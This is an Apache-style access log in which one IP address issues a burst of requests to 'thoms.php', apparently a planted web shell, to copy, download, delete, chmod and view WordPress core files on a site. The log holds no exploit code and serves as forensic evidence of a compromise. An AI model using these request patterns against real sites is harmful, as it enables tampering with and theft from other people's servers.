45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Futf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Futf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?del=atomlib.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?chmod=functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?dl=date.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=date.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /bestzyx.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?del=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13057 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?chmod=build&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=build&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:52 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19709 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?del=widgets&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59296 "http://163.245.207.76:443/thoms.php?del=widgets&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?del=ms-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?del=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15405 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:53 -0400] "GET /thoms.php?del=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59352 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14777 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?dl=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?del=comment-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59333 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?dl=meta.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:54 -0400] "GET /thoms.php?dl=user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?dl=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?dl=cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:55 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /bestzyx.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?chmod=locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?chmod=IXR&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14104 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?chmod=media-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59312 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:56 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59324 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /bestzyx.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20839 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23913 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15624 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:57 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13946 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /bestzyx.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
